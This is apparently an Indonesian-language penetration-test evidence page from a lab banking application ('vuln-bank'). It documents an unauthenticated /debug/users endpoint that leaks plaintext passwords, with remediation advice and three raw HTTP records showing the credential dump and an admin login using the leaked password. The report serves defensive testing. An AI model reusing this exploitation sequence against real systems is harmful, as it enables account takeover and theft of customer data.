Skenario 13 / 26FAIL

Sensitive Data Exposure - Debug Endpoint - User Credentials

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials

Deskripsi

Endpoint /debug/users dapat diakses tanpa autentikasi dan mengembalikan seluruh tabel pengguna, termasuk kolom password. Password disimpan dalam bentuk teks terang, bukan hash, sehingga langsung dapat dipakai.

Dampak

Confidentiality (High, berujung kompromi penuh): siapa pun tanpa kredensial dapat mengunduh username, password teks terang, nomor rekening, dan penanda administrator seluruh nasabah. Pada pengujian, password administrator yang diperoleh dari endpoint ini langsung dipakai untuk login sebagai administrator. Karena password kerap digunakan ulang, dampaknya meluas ke luar aplikasi.

CWE

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

OWASP

A01:2021 - Broken Access Control

Skenario

Kontrol: /dashboard tanpa token ditolak dengan HTTP 401, menunjukkan aplikasi memang memiliki lapisan autentikasi. Eksploitasi: /debug/users diakses tanpa token apa pun -> HTTP 200 berisi seluruh kredensial. Dampak: password administrator hasil bocoran dipakai login dan menghasilkan token dengan is_admin true.

Endpoint

GET http://127.0.0.1:5001/debug/users

Fitur terdampak

Endpoint debug yang tertinggal di build produksi

Rekomendasi perbaikan

- Hapus endpoint debug dari kode yang dikirim ke produksi; jangan hanya menyembunyikannya. - Simpan password sebagai hash ber-salt (bcrypt/argon2) dan jangan pernah mengembalikan kolom password dari query mana pun. - Terapkan autentikasi dan otorisasi secara default (deny by default) pada seluruh rute. - Lakukan rotasi seluruh kredensial yang pernah terekspos.

Bukti konsep

1) (Screenshot 1) KONTROL: /dashboard tanpa token -> HTTP 401 Token is missing, autentikasi memang ada. 2) (Screenshot 2) EKSPLOITASI: /debug/users tanpa autentikasi -> HTTP 200 berisi seluruh pengguna dengan password teks terang. 3) (Screenshot 3) DAMPAK CIA: password administrator hasil bocoran dipakai login -> token administrator terbit, is_admin true.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials

Description:
Endpoint /debug/users dapat diakses tanpa autentikasi dan mengembalikan seluruh tabel pengguna, termasuk kolom password. Password disimpan dalam bentuk teks terang, bukan hash, sehingga langsung dapat dipakai.

Impact:
Confidentiality (High, berujung kompromi penuh): siapa pun tanpa kredensial dapat mengunduh username, password teks terang, nomor rekening, dan penanda administrator seluruh nasabah. Pada pengujian, password administrator yang diperoleh dari endpoint ini langsung dipakai untuk login sebagai administrator. Karena password kerap digunakan ulang, dampaknya meluas ke luar aplikasi.

CWE:
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

OWASP:
A01:2021 - Broken Access Control

Scenario:
Kontrol: /dashboard tanpa token ditolak dengan HTTP 401, menunjukkan aplikasi memang memiliki lapisan autentikasi. Eksploitasi: /debug/users diakses tanpa token apa pun -> HTTP 200 berisi seluruh kredensial. Dampak: password administrator hasil bocoran dipakai login dan menghasilkan token dengan is_admin true.

Endpoint:
GET http://127.0.0.1:5001/debug/users

Affected Feature:
Endpoint debug yang tertinggal di build produksi

Remediation:
- Hapus endpoint debug dari kode yang dikirim ke produksi; jangan hanya menyembunyikannya.
- Simpan password sebagai hash ber-salt (bcrypt/argon2) dan jangan pernah mengembalikan kolom password dari query mana pun.
- Terapkan autentikasi dan otorisasi secara default (deny by default) pada seluruh rute.
- Lakukan rotasi seluruh kredensial yang pernah terekspos.

POC:
1) (Screenshot 1) KONTROL: /dashboard tanpa token -> HTTP 401 Token is missing, autentikasi memang ada.
2) (Screenshot 2) EKSPLOITASI: /debug/users tanpa autentikasi -> HTTP 200 berisi seluruh pengguna dengan password teks terang.
3) (Screenshot 3) DAMPAK CIA: password administrator hasil bocoran dipakai login -> token administrator terbit, is_admin true.

02 — Tangkapan layar

Tangkapan layar (3)

01 / 1
02 / 2
03 / 3

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
GET /dashboard HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 401 UNAUTHORIZED
Content-Type: application/json
Content-Length: 34
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:18 GMT

{
  "error": "Token is missing"
}
REKAMAN 02 / 2
HTTP request
GET /debug/users HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 816
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:19 GMT

{
  "users": [
    {
      "account_number": "ADMIN001",
      "id": 1,
      "is_admin": true,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "admin"
    },
    {
      "account_number": "7503483798",
      "id": 4,
      "is_admin": false,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "ma_normal_user"
    },
    {
      "account_number": "7658808238",
      "id": 5,
      "is_admin": true,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "ma_evil_admin"
    },
    {
      "account_number": "9159912486",
      "id": 3,
      "is_admin": false,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "pentest_victim"
    },
    {
      "account_number": "0932191785",
      "id": 2,
      "is_admin": false,
      "password": "[REDACTED-LAB-VALUE]",
      "username": "pentest_attacker"
    }
  ]
}
REKAMAN 03 / 3
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 45
Content-Type: application/json

{"username": "admin", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 470
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:20 GMT

{
  "accountNumber": "ADMIN001",
  "debug_info": {
    "account_number": "ADMIN001",
    "is_admin": true,
    "login_time": "2026-09-30 03:02:20.186000",
    "user_id": 1,
    "username": "admin"
  },
  "isAdmin": true,
  "message": "Login successful",
  "status": "success",
  "token": "[REDACTED-LAB-VALUE]"
}